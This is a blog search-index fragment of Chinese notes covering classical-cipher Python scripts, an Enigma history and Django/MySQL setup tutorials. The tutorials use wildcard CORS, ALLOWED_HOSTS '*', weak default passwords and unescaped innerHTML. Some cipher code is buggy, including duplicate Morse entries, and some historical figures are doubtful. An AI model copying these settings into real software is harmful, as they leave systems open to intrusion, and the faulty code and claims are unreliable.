chr(ord(str_list[i]) + 26 - k) i = i+1 print (\"\".join(str_list_decry))def caesar(): print (u\"1. 加密\") print (u\"2. 解密\") choice = input(\"请选择：\") if choice == \"1\": encryption() elif choice == \"2\": decryption() else: print (u\"您的输入有误！\")if __name__ == '__main__': try: while True: caesar() except EOFError: exit()"},{"title":"","date":"2025-11-26T00:47:00.000Z","updated":"2025-11-26T01:10:00.000Z","comments":true,"path":"notes/Cryptography/Enigma.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Enigma","excerpt":"","text":"Enigma Enigma 恩尼格玛密码机（Enigma）是二战时期纳粹德国的核心加密设备，堪称机械加密时代的巅峰之作。它通过精妙的转子结构和动态加密逻辑，将传统密码学的安全性推向了机械时代的极限，却因设计缺陷与人类操作习惯的漏洞，最终成为密码史上最具戏剧性的转折点。 机械密码的巅峰设计这台金属铸就的 “密码打字机”，核心由转子系统、反射器和接线板构成三位一体的加密机制。当操作员按下键盘上的字母时，电流会依次穿过接线板的字母交换、三个旋转的转子，经反射器折返后再次通过转子组，最终点亮灯盘上的密文字母。独特之处在于，每次按键后最右侧转子会自动旋转一格（类似机械表进位），使得同一个字母在不同位置会被加密成完全不同的符号,例如输入两次 “T” 可能得到 “K” 和 “Z”，彻底粉碎了传统频率分析破译法。 其密钥空间之庞大曾被认为无法破解：从 5 个转子中选 3 个的排列有 60 种，转子起始位置组合达 26³=17576 种，加上接线板 10 对字母交换产生的约 150 万亿种可能，总配置方案高达 1.59×10²⁰种。德军曾自信宣称，即便百万大军日夜尝试，破解一种配置也需 3 亿年。 从不可破到致命漏洞破解的曙光来自德军自身的操作 “洁癖”。为确保收发一致，发报员被要求将 3 位随机初始转子位置重复发送两次，例如将 “ABC” 加密为 “ABCABC” 作为报文开头。这一看似严谨的设计，却在密文中留下了重复的字母组合，被波兰数学家马里安・雷耶夫斯基捕捉到关键规律 —— 他通过群论推导出转子接线的 “循环特征”，并在 1932 年造出首台机械破译机 “炸弹”（Bomba）。 1939 年波兰沦陷前夕，这些研究成果被秘密移交英法。在英国布莱切利庄园，艾伦・图灵在此基础上升级出电子机械混合的 “图灵炸弹机”，利用 “恩尼格玛绝不会加密出与明文相同字母” 的反射器特性，以及德军电文结尾必带 “Heil Hitler” 的固定格式，将破译时间从年缩短至小时级。到 1943 年，改进后的 “巨人计算机” 甚至能破解德军最高统帅部的 “洛伦兹” 密码。 改变战争进程的密码战破译恩尼格玛的情报被丘吉尔称为 “Ultra”（超级机密），直接改写了大西洋海战的格局。通过提前掌握德军潜艇 “狼群战术” 的集结位置，盟军护航舰队击沉潜艇数量从 1942 年的 117 艘飙升至 1943 年的 247 艘。据统计，这项突破使二战欧洲战场提前 2-3 年结束，挽救了约 1400 万生命。 讽刺的是，这台被希特勒视为 “日耳曼智慧结晶” 的机器，最终倒在了更纯粹的数学逻辑与工程创新面前。它的兴衰不仅标志着机械加密时代的终结，更催生了计算机科学的萌芽, 图灵炸弹机的逻辑判断与自动化思想，为现代计算机奠定了核心理论基础。当人们在博物馆凝视这台黄铜转子缓缓转动时，看到的不仅是一台密码机，更是人类理性与技术博弈的永恒见证。"},{"title":"","date":"2025-11-26T01:01:00.000Z","updated":"2025-11-26T01:20:00.000Z","comments":true,"path":"notes/Cryptography/HolmesDancer.html","permalink":"https://blog.mhuig.top/notes/Cryptography/HolmesDancer","excerpt":"","text":"福尔摩斯：跳舞的小人 福尔摩斯：跳舞的小人 《福尔摩斯：跳舞的小人》是柯南・道尔笔下经典密码推理案件，讲述庄园主丘比特因妻子埃尔茜对粉笔画小人图案的恐惧，向福尔摩斯求助的故事。这些姿态各异的小人实则是替换密码系统。每个图形对应一个英文字母，带小旗的符号表示单词分隔。 福尔摩斯破解的关键在于频率分析法：统计发现某个小人出现 4 次（最高频），对应英文中最常见的 \"E\"；再结合 5 字母单词 \"第二个和第四个字母都是 E\" 的特征，锁定 \"NEVER\"（绝不），进而推导出埃尔茜 (Elsie) 的名字及 \"COME\"（来）等单词。通过语境补全，最终破译出威胁信息 \"ELSIE PREPARE TO MEET THY GOD\"（埃尔茜，准备见上帝），揭露美国骗子阿贝・斯兰尼对埃尔茜的追踪恐吓。 这一案件开创了文学史上符号密码推理的先河，其核心方法与二战恩尼格玛密码的频率分析破译逻辑相通。当福尔摩斯用同样密码诱捕凶手时，展现了智慧如何将抽象符号转化为破案关键。正如华生所言：\"真相大白时看似简单，却藏着观察与推理的精妙艺术\"。"},{"title":"","date":"2018-12-01T02:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/MD5.html","permalink":"https://blog.mhuig.top/notes/Cryptography/MD5","excerpt":"","text":"MD5 Python MD5 MD5.pyimport hashlibclass MD5: def str(): str=input() m = hashlib.md5() m.update(str.encode('utf-8')) print (m.hexdigest()) def filebin(): src=input() f = open(src, 'rb') f_md5 = hashlib.md5() f_md5.update(f.read()) print (f_md5.hexdigest()) def file(): src=input() f = open(src, 'r') f_md5 = hashlib.md5() f_md5.update(f.read().encode('utf-8')) print (f_md5.hexdigest()) if __name__=='__main__': try: while True: MD5.filebin() except EOFError: exit()"},{"title":"","date":"2018-12-01T05:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/Playfair.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Playfair","excerpt":"","text":"Playfair Python Playfair Playfair 密码普莱费尔密码是一种使用一个关键词方格来加密字符对的加密法 Playfair.py#########################Playfair密码##########################约定1：若明文字母数量为奇数，在明文末尾添加一个'Z'#约定2：'I'作为'J'来处理#字母表letter_list='ABCDEFGHJKLMNOPQRSTUVWXYZ'#密码表T_letter=['','','','','']#根据密钥建立密码表def Create_Matrix(key): key=Remove_Duplicates(key) #移除密钥中的重复字母 key=key.replace(' ','') #去除密钥中的空格 for ch in letter_list: #根据密钥获取新组合的字母表 if ch not in key: key+=ch j=0 for i in range(len(key)): #将新的字母表里的字母逐个填入密码表中，组成5*5的矩阵 T_letter[j]+=key[i] #j用来定位字母表的行 if 0==(i+1)%5: j+=1#移除字符串中重复的字母def Remove_Duplicates(key): key=key.upper() #转成大写字母组成的字符串 _key='' for ch in key: if ch=='I': ch='J' if ch in _key: continue else: _key+=ch return _key #获取字符在密码表中的位置def Get_MatrixIndex(ch): for i in range(len(T_letter)): for j in range(len(T_letter)): if ch==T_letter[i][j]: return i,j #i为行，j为列 #加密def Encrypt(plaintext,T_letter): ciphertext='' if len(plaintext) % 2 !=0: #如果新的明文长度为奇数，在其末尾添上'Z' plaintext+='Z' i=0 while i<len(plaintext): #对明文进行遍历 if True==plaintext[i].isalpha(): #如果是明文是字母的话， j=i+1 #则开始对该字母之后的明文进行遍历， while j<len(plaintext): #直到遍历到字母，进行加密 if True==plaintext[j].isalpha(): if 'I'==plaintext[i].upper(): # x=Get_MatrixIndex('J') # else: # x=Get_MatrixIndex(plaintext[i].upper()) #对字符在密码表中的坐标 if 'I'==plaintext[j].upper(): #进行定位,同时将'I'作为 y=Get_MatrixIndex('J') #'J'来处理 else: # y=Get_MatrixIndex(plaintext[j].upper()) # if x[0]==y[0]: #如果在同一行 ciphertext+=T_letter[x[0]][(x[1]+1)%5]+T_letter[y[0]][(y[1]+1)%5] elif x[1]==y[1]: #如果在同一列 ciphertext+=T_letter[(x[1]+1)%5][x[0]]+T_letter[(y[1]+1)%5][y[0]] else: #如果不同行不同列 ciphertext+=T_letter[x[0]][y[1]]+T_letter[y[0]][x[1]] break; #每组明文对加密完成后，结束本次对明文的遍历 j+=1 i=j+1 #每次对明文的遍历是从加密过后的明文的后一个明文开始的,结束本次循环 continue else: ciphertext+=plaintext[i] #如果明文不是字母，直接加到密文上 i+=1 return ciphertext #解密def Decrypt(ciphertext,T_letter): plaintext='' if len(ciphertext) % 2 !=0: #如果新的密文长度为奇数，在其末尾添上'Z' ciphertext+='Z' i=0 while i<len(ciphertext): #对密文进行遍历 if True==ciphertext[i].isalpha(): #如果是密文是字母的话， j=i+1 #则开始对该字母之后的密文进行遍历， while j<len(ciphertext): #直到遍历到字母，进行解密 if True==ciphertext[j].isalpha(): if 'I'==ciphertext[i].upper(): # x=Get_MatrixIndex('J') # else: # x=Get_MatrixIndex(ciphertext[i].upper()) #对字符在密码表中的坐标 if 'I'==ciphertext[j].upper(): #进行定位,同时将'I'作为 y=Get_MatrixIndex('J') #'J'来处理 else: # y=Get_MatrixIndex(ciphertext[j].upper()) # if x[0]==y[0]: #如果在同一行 plaintext+=T_letter[x[0]][(x[1]-1)%5]+T_letter[y[0]][(y[1]-1)%5] elif x[1]==y[1]: #如果在同一列 plaintext+=T_letter[(x[1]-1)%5][x[0]]+T_letter[(y[1]-1)%5][y[0]] else: #如果不同行不同列 plaintext+=T_letter[x[0]][y[1]]+T_letter[y[0]][x[1]] break; #每组密文对解密完成后，结束本次对密文的遍历 j+=1 i=j+1 #每次对密文的遍历是从解密过后的密文的后一个密文开始的,结束本次循环 continue else: plaintext+=ciphertext[i] #如果密文不是字母，直接加到明文上 i+=1 return plaintext #主函数if __name__=='__main__': print(\"加密请按D,解密请按E:\") user_input=input(); while(user_input!='D' and user_input!='E'):#输入合法性检测 print(\"输入有误!请重新输入:\") user_input=input() print('请输入密钥，密钥由英文字母组成:') key=input() Create_Matrix(key) #建立密码表 if user_input=='D': #加密 print('请输入明文:') plaintext=input() print(\"密文为:\\n%s\" % Encrypt(plaintext,T_letter)) else: #解密 print('请输入密文:') ciphertext=input() print('明文为:\\n%s' % Decrypt(ciphertext,T_letter))"},{"title":"","date":"2018-12-01T06:39:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/QRcode.html","permalink":"https://blog.mhuig.top/notes/Cryptography/QRcode","excerpt":"","text":"QRcode Python QRcode 加密enQRcode.pyimport qrcodeimport osimport sysimport time#pip install zxing解析库，还需要安装PIL，pillow和qrCode库QRImagePath = os.getcwd() + '/qrcode.png' #临时存储位置qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=2,) #设置图片格式print(\"input:QRcode image:\")data = input() #运行时输入数据qr.add_data(data)qr.make(fit=True)img = qr.make_image()img.save('qrcode.png') #生成图片 if sys.platform.find('darwin') >= 0: os.system('open %s' % QRImagePath) elif sys.platform.find('linux') >= 0: os.system('xdg-open %s' % QRImagePath)else: os.system('call %s' % QRImagePath) time.sleep(5) #间隔5个单位#os.remove(QRImagePath) #删除图片 解密deQRcode.pyimport osimport loggingfrom PIL import Imageimport zxing #导入解析包import randomlogger = logging.getLogger(__name__) #记录数据if not logger.handlers: logging.basicConfig(level = logging.INFO)DEBUG = (logging.getLevelName(logger.getEffectiveLevel()) == 'DEBUG') #记录调式过程# 在当前目录生成临时文件，规避java的路径问题def ocr_qrcode_zxing(filename): img = Image.open(filename) ran = int(random.random() * 100000) #设置随机数据的大小 img.save('%s%s.jpg' % (os.path.basename(filename).split('.')[0], ran)) zx = zxing.BarCodeReader() #调用zxing二维码读取包 data = '' zxdata = zx.decode('%s%s.jpg' % (os.path.basename(filename).split('.')[0], ran)) #图片解码# 删除临时文件 os.remove('%s%s.jpg' % (os.path.basename(filename).split('.')[0], ran)) if zxdata: logger.debug(u'zxing识别二维码:%s,内容: %s' % (filename, zxdata)) data = zxdata else: logger.error(u'识别zxing二维码出错:%s' % (filename)) img.save('%s-zxing.jpg' % filename) return data #返回记录的内容if __name__ == '__main__': print(\"input:QRcode path:\") filename = input() # zxing二维码识别 ltext = ocr_qrcode_zxing(filename) #将图片文件里的信息转码放到ltext里面 logger.info(u'[%s]Zxing二维码识别:[%s]!!!' % (filename, ltext)) #记录文本信息 print(ltext) #打印出二维码名字"},{"title":"","date":"2018-12-01T02:52:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/Morse.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Morse","excerpt":"","text":"Morse Python Morse 摩尔斯电码是 1844 年由摩尔斯发明的字符编码系统，通过点和划的独特组合表示字母、数字及特殊字符（如问号、感叹号），用于电报线路实现远距离快速通信。 Morse.py# -*- coding:utf-8 -*-def Morse(): try: s = input() codebook = { 'A':\".-\", 'B':\"-...\", 'C':\"-.-.\", 'D':\"-..\", 'E':\".\", 'F':\"..-.\", 'G':\"--.\", 'H':\"....\", 'I':\"..\", 'J':\".---\", 'K':\"-.-\", 'L':\".-..\", 'M':\"--\", 'N':\"-.\", 'O':\"---\", 'P':\".--.\", 'Q':\"--.-\", 'R':\".-.\", 'S':\"...\", 'T':\"-\", 'U':\"..-\", 'V':\".--\", 'W':\".--\", 'X':\"-..-\", 'Y':\"-.--\", 'Z':\"--..\", '1':\".----\", '2':\"..---\", '3':\"...---\", '4':\"....-\", '5':\".....\", '6':\"-....\", '7':\"--...\", '8':\"---..\", '9':\"----.\", '0':\"-----\", '.':\".━.━.━\", '?':\"..--..\", '!':\"-.-.--\", '(':\"-.--.\", '@':\".--.-.\", ':':\"---...\", '=':\"-...-\", '-':\"-....-\", ')':\"-.--.-\", '+':\".-.-.\", ',':\"--..--\", '\\'':\".----.\", '_':\"..--.-\", '$':\"...-..-\", ';':\"-.-.-.\", '/':\"-..-.\", '\\\"':\".-..-.\", } clear = \"\" cipher = \"\" while 1: ss = s.split(\" \"); for c in ss: for k in codebook.keys(): if codebook[k] == c: cipher+=k print(cipher) break; except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: Morse() except EOFError: exit()"},{"title":"","date":"2018-12-01T07:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/RailFenceCipher.html","permalink":"https://blog.mhuig.top/notes/Cryptography/RailFenceCipher","excerpt":"","text":"RailFenceCipher Python RailFenceCipher 所谓栅栏密码，就是把要加密的明文分成 N 个一组，然后把每组的第 1 个字连起来，形成一段无规律的话 RailFenceCipher.py#coding=utf-8def railFenceCipher(): e = input() elen = len(e) field=[] for i in range(2,elen): if(elen%i==0): field.append(i) for f in field: b = int(elen / f) result = {x:'' for x in range(b)} for i in range(elen): a = i % b; result.update({a:result[a] + e[i]}) d = '' for i in range(b): d = d + result[i] print (d.lower())if __name__ == '__main__': try: while True: railFenceCipher() except EOFError: exit()"},{"title":"","date":"2022-05-10T01:45:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Cryptography/index.html","permalink":"https://blog.mhuig.top/notes/Cryptography/","excerpt":".fa-secondary{opacity:.4} Cryptography","text":".fa-secondary{opacity:.4} Cryptography Cryptography .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T07:11:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/ajax.html","permalink":"https://blog.mhuig.top/notes/Django/ajax","excerpt":"","text":"Django 发布动态内容 Django 将发布内容动态显示到页面上 将发布内容动态显示到页面上在 settings.py 中配置TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR,\"Templates\")], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django.template.context_processors.media', # 新添加的 ], }, },]#已经配置过的MEDIA_URL = '/media/'MEDIA_ROOT = os.path.join(BASE_DIR,'media') 在 urls.py 中配置路由from tour.settings import MEDIA_ROOTfrom django.views.static import serve #注意包不能导错urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^media/(?P<path>.*)/$', serve, {\"document_root\": MEDIA_ROOT}),#加载media文件的时候需要的路由 url(r\"^gettour\",views.gettour),#获取tour.html页面的路由 url(r\"^sendtour\",views.sendTour),#发布动态的路由] 在 views.py 文件中创建 sendTour 的函数def sendTour(request): try: #从请求中将表单中的数据取出，并且存储到数据库中 tour = Tour() tour.username= request.POST.get(\"username\") tour.times = request.POST.get(\"times\") tour.sendtime = request.POST.get(\"sendtime\") tour.sendtxt = request.POST.get(\"sendtxt\") tour.phonename = request.FILES.get(\"imgfile\") tour.musicname = request.FILES.get(\"musicfile\") tour.save() #若存储成功，则将对象转为字典 tourdict = {\"code\":\"1\",\"username\":tour.username,\"times\":tour.times, \"sendtime\":tour.sendtime,\"phonename\":tour.phonename.url ,\"musicname\":tour.musicname.url,\"sendtxt\":tour.sendtxt} # 再字典转为json字符串，返回到前端页面中 response = HttpResponse(json.dumps(tourdict)) except Exception as e: print(e) response = HttpResponse(json.dumps({'code': \"0\"})) response[\"Access-Control-Allow-Origin\"] = \"*\" response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\" response[\"Access-Control-Max-Age\"] = \"1000\" response[\"Access-Control-Allow-Headers\"] = \"*\" return response 在前端页面中添加函数function sendData(){//选中dataform表单对其进行格式化处理var dataform = new FormData($(\"#datafrom\")[0])console.log(dataform)var user = document.getElementById(\"user\").innerHTML; //将数据追加到表单中 dataform.append(\"username\",user)var dates = new Date()var y = dates.getFullYear()var m = dates.getMonth() + 1var d = dates.getDate()dataform.append(\"sendtime\",y+\"/\"+m+\"/\"+d)//追加一个时间戳dataform.append(\"times\",dates.getTime())$.ajax({ type:\"post\", url:\"http://127.0.0.1:9000/sendtour\", data:dataform, async:true, dataType:\"json\", timeout:5000, cache:false, //提交表单的时候需要的参数 contentType:false, processData:false, success:function(data){//请求成功的时候返回的参数 alert(data) if(data.code==\"1\"){//判断数据是否成功存入数据库 alert(\"发布成功\") // 将我们返回的数据显示到页面上来 addhistory(data) } if(data.code==\"0\"){//数据没存储成功，则显示发布失败！ alert(\"发布失败\") } }, error:function(){ alert(\"请求异常\") }})}//将得到的数据动态的添加到html页面中function addhistory(data) { //打印data数据console.log(data) //找到存放li的大盒子var $ul = document.getElementById(\"ulitem\"); //创建一个livar $li = document.createElement(\"li\")//将li添加到ul中$ul.appendChild($li) //给li添加一个class属性$li.className = \"item\"; //给li添加标签$li.innerHTML = '<img class=\"item-img\" src=\"'+data.phonename+'\"/>' + '<div class=\"item-right\">' + '<a class=\"delete\" href=\"#\">删除</a>' + '<p class=\"itemtxt\">'+data.sendtxt+'</p>'+ '<div class=\"userbox\"><img class=\"icon-img\" src=\"/static/img/a1.png\"/> ' + '<span class=\"username\">'+data.username+'</span><span class=\"sendtime\">'+data.sendtime +'</span></div>' + '<div><a class=\"musicname\" href=\"#\">'+data.musicname+'</a></div>' + '</div>'}"},{"title":"","date":"2019-09-22T07:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/form.html","permalink":"https://blog.mhuig.top/notes/Django/form","excerpt":"","text":"Django 带文件的表单上传 Django 带文件的表单上传 带文件的表单上传首先在表单 form 中必须要添加这个属性enctype=\"multipart/form-data\" 然后在 js 中添加下列代码 //选中需要上传的表单，并且进行格式化处理var formData=new FormData($(\"#formdata\")[0]);console.log(formData)//获取用户名var user=document.getElementById(\"username\").innerHTML;var date=new Date();var month=date.getMonth()+1;//把数据追加到表单formData.append(\"username\",user);formData.append(\"date\",date.getFullYear()+\"-\"+month+\"-\"+date.getDate());formData.append(\"sign\",date.getTime());$.ajax({ type:\"post\", url:\"http://127.0.0.1:8000/tour/sendDay\", async:true, data:formData, timeout:5000, dataType:\"json\", cache:false, //提交表单必须增加的属性 contentType:false, processData:false, success:function(data){ alert(data); console.log(data) if(data.code == \"1\") { alert(\"发布成功\") } if(data.code == \"2\"){ alert(\"发布失败\") } }, error:function(xhr,textState){ alert(\"请求失败！\") }}); 在 models 中添加以下类class Tours(models.Model): username = models.CharField(max_length=20) date = models.CharField(max_length=20) times = models.CharField(max_length=100) desc = models.CharField(max_length=255) photoname = models.FileField(upload_to=\"photo\",null=True,blank=True) musicname = models.FileField(upload_to=\"music\",null=True,blank=True) isDelete = models.BooleanField(default=False) 在 settings.py 文件中添加如下代码MEDIA_URL = '/media/'MEDIA_ROOT = os.path.join(BASE_DIR,'media') 在 urls.py 文件中创建路由from django.views.static import servefrom App import viewsfrom tourdemo import settingsfrom tourdemo.settings import MEDIA_ROOTurlpatterns = [ url(r'^admin/', admin.site.urls), url(r\"^tour/sendDay\",views.tourSendDay), #加载media文件需要的路由 url(r'^media/(?P<path>.*)/$', serve, {\"document_root\": MEDIA_ROOT}),] 在 views.py 文件中添加 tourSendDay 函数def tourSendDay(request): try: tour = Tours() username = request.POST.get(\"username\") tour.username = username date = request.POST.get(\"date\") tour.date = date times = request.POST.get(\"sign\") tour.times = times music = request.FILES.get(\"music\") tour.musicname = music img = request.FILES.get(\"photo\") tour.photoname = img desc = request.POST.get(\"desc\") # print(desc) tour.desc = desc # print(\"desc\",tour.desc) tour.save() tourdic = {\"code\":\"1\",\"id\": tour.id, \"photoname\": tour.photoname.url, \"musicname\": tour.musicname.url, \"times\": tour.times, \"username\": tour.username, \"date\": tour.date, \"desc\": tour.desc} response = HttpResponse(json.dumps(tourdic)) except Exception as e: print(e) response = HttpResponse(json.dumps({\"code\": \"2\"})) response[\"Access-Control-Allow-Origin\"] = \"*\" response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\" response[\"Access-Control-Max-Age\"] = \"1000\" response[\"Access-Control-Allow-Headers\"] = \"*\" return response 注意若出现存储中文失败则需要在创建的的时候指定编码格式create database tourdb charset='utf8';"},{"title":"","date":"2022-05-12T11:31:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Django/index.html","permalink":"https://blog.mhuig.top/notes/Django/","excerpt":".fa-secondary{opacity:.4} Django","text":".fa-secondary{opacity:.4} Django Django .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T07:04:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/mysql.html","permalink":"https://blog.mhuig.top/notes/Django/mysql","excerpt":"","text":"MySQL mysql 的使用 mysql 的简单配置使用 免安装版本 下载免安装版本下载地址： https://dev.mysql.com/downloads/mysql/ 解压解压 mysql 压缩包【记得解压的文件路径】 进行环境变量的配置我的电脑 --> 属性 ---> 高级环境变量设置 --> 找到 path --> 新建 --> 将 mysql 的路径【bin 的路径】直接复制粘贴 配置文件初始化创建配置文件，命名为 my.ini，内容如下 [mysql]# 设置mysql客户端默认字符集default-character-set=utf8[mysqld]interactive_timeout=28800000wait_timeout=28800000# 设置3306端口port = 3306# 设置mysql的安装目录basedir=C:\\software\\mysql-8.0.30-winx64\\bin# 设置mysql数据库的数据的存放目录datadir=C:\\software\\mysql-8.0.30-winx64\\data# 允许最大连接数max_connections=200# 设置mysql服务端默认字符集character-set-server=utf8# 创建新表时将使用的默认存储引擎default-storage-engine=INNODB 安装 mysql 服务，输入 mysqld -install 初始化 mysql，输入以下命令，mysql 目录下会生成 data 文件夹 mysqld --initialize 如果没有生成 data 文件夹，则使用以下命令 mysqld --initialize-insecure --user=mysql 启动数据库启动 mysql net start mysql 打开 mysql 根目录下的 data 文件夹，找到后缀是.err 的文件以文本打开找到 password 临时密码 设置密码 mysqladmin -u root -p password 要停止 mysql 服务，使用命令 net stop mysql 连接数据库mysql -u root -p root【默认密码】 数据库连接成功之后，可以查看数据库show databases; //查看数据库use 数据库名; //使用某个指定的数据库show tables; //查看所有的表create database 数据库名; //创建数据库drop database 数据库名; //删除数据库 navicat 连接 mysql 时报错 1251 怎么办新安装的 mysql8，使用破解版的 navicat 连接的时候一直报错 1251 发现是 mysql8 之前的版本中加密规则是 mysql_native_password，而在 mysql8 之后，加密规则是 caching_sha2_password。 解决问题方法有两种， 一种是升级 navicat 驱动； 一种是把 mysql 用户登录密码加密规则还原成 mysql_native_password。 进入 mysql 加密规则还原成 mysql_native_password ALTER USER 'root'@'localhost' IDENTIFIED BY 'password' PASSWORD EXPIRE NEVER;ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'MY NEW PASSWORD';FLUSH PRIVILEGES; 权限select host,user,authentication_string from mysql.user;create user \"toor\"@\"%\" identified by \"123456\";create database mydb charset='utf8';grant all privileges on `mydb`.* to 'toor'@'%' ;drop user \"toor\"@\"%\";insert into mysql.user(Host,User,authentication_string) values('%','toor',password('123456'));SET PASSWORD FOR 'toor'@'%' = PASSWORD(\"123456\");"},{"title":"","date":"2019-09-22T07:07:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/pymysql.html","permalink":"https://blog.mhuig.top/notes/Django/pymysql","excerpt":"","text":"mysql 与 pymysql 的设置 mysql 与 pymysql 的设置 mysql 与 pymysql 的设置 保证 mysql 已经安装成功 使用终端在 mysql 中创建一个数据库 mysql -u root -p#连接数据库mysql> show databases;#查看当前数据库mysql> create database tour;#创建数据库 tour：数据库名，可以自己命名 找到 setting.py 文件，并在添加如下代码 DATABASES = { 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 'ENGINE': 'django.db.backends.mysql', 'NAME': 'tour', #数据库名字 \"USER\":\"root\", #数据库用户名 \"PASSWORD\":\"root\", #数据库的密码 \"HOST\":\"127.0.0.1\", #ip地址 \"PORT\":\"3306\",# 端口号 }} 注意：在使用数据库的时候，必须保证数据库的服务是开启的状态 net start mysql 找到 mysql 的安装地址，找到 bin 文件夹，到 bin 文件夹下面找到 mysqld.exe，双击执行 到与 setting.py 同目录的__init__.py 文件下，添加以下代码 import pymysqlpymysql.install_as_MySQLdb() 注意 若没有安装 pymysql 模块，则会报错，需要将 pymsql 模块安装 1. 使用 pycharm 安装2. 使用 pip 安装 pip install pymsql 当项目创建之后，配置完成之后，我们执行一下迁移【因为只有执行迁移的时候，才会在数据库中生成表】 python manage.py migrate 需要在 models.py 文件中创建一个类，并且这个类必须要继承 models.Model class User(models.Model): username = models.CharField(max_length=20) password = models.CharField(max_length=20) #CharField 指定字段的类型 #max_length 指定字段的最大长度 生成迁移文件 python manage.py makemigrations 执行迁移文件 python manage.py migrate"},{"title":"","date":"2019-09-22T07:06:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/setting.html","permalink":"https://blog.mhuig.top/notes/Django/setting","excerpt":"","text":"Django 的环境配置 Django 的环境配置 Django 的环境配置python 环境是 ok 的pip 是可用的 pip 用来安装第三方包的 创建虚拟环境【可以先不写】 linux/mac windows 安装 Django pip install django==1.11.7 django 安装成功之后，创建项目 创建项目之前首先新建一个目录【文件夹】 进入这个目录之后执行 django-admin startproject projectname#django-admin startproject 项目名 使用 pycharm 打开项目的时候，要在 manage.py 的上一级打开 manage 所在的文件夹 当进入 pychram 之后，我们可以使用自带终端来创建 apppython manage.py startapp appname 当 app 创建完成之后，需要在 setting.py 文件中配置INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', \"App\",#添加我们创建的app] 在 setting.py 文件中ALLOWED_HOSTS = [\"*\"]#允许所有人访问 在 setting.py 文件中 #设置语言LANGUAGE_CODE = 'zh-hans'#设置时区TIME_ZONE = 'Asia/Shanghai' 运行当前项目python manage.py runserver 运行成功，在浏览器访问http://127.0.0.1:8000/#会显示正常工作 添加一个路由，在 urls.py 文件中添加urlpatterns = [ url(r'^admin/', admin.site.urls), # alt+enter 添加,需要导包，App下面的views url(r\"^login/\",views.login),] 需要在 app 中的 views.py 去创建视图函数 login def login(request): #必须返回的是httpResponse对象 return HttpResponse(\"你真是一个小机灵鬼！！！\") 执行 python manage.py runserver 将服务器重新部署 在浏览器访问的时候，这时候需要使用 http://127.0.0.1:8000/login"},{"title":"","date":"2019-09-22T07:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/static.html","permalink":"https://blog.mhuig.top/notes/Django/static","excerpt":"","text":"Django 中引用静态文件 Django 中引用静态文件 Django 中引用静态文件 当我们将我们的 html 文件放到 Templates 文件中的时候，这时候此 html 我们可以直接引用， 若出现这个 html 文件，它还引用了其他的一些文件【js，css，img】，这是就需要引用 django 中静态的文件 需要在 Templates 的同级目录下创建一个 static 目录需要在 setting 文件中添加代码#默认自带的STATIC_URL = '/static/'#添加代码STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static'),) 将 html 需要用到的资源，放在 static 目录下 在 html 中引用静态资源 <head> <meta charset=\"UTF-8\"> <title></title> <script src=\"/static/js/jquery-2.1.0.js\" type=\"text/javascript\" charset=\"utf-8\"></script> <link rel=\"stylesheet\" type=\"text/css\" href=\"/static/css/style.css\"/></head> 配置路由，在 urls.py 文件中配置urlpatterns = [ url(r'^admin/', admin.site.urls), url(r\"^getlogin\",views.getlogin)] 需要在 views.py 文件中创建 getlogin 函数def getlogin(request): #返回登录的页面 return render(request,\"login.html\") 启动服务python manage.py runserver 127.0.0.1:9000 如何请求接口http://127.0.0.1:9000/getlogin"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Echarts/Overview.html","permalink":"https://blog.mhuig.top/notes/Echarts/Overview","excerpt":"","text":"Overview Overview Echarts 是功能强大的数据可视化库，支持折线图、柱状图、饼图、散点图等多种图表类型，提供丰富交互功能实现数据动态展示与用户交互，可通过灵活配置选项定制图表样式和布局，适用于 Web、移动及桌面应用场景，帮助用户将复杂数据转化为直观图表以更好理解分析数据。 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); 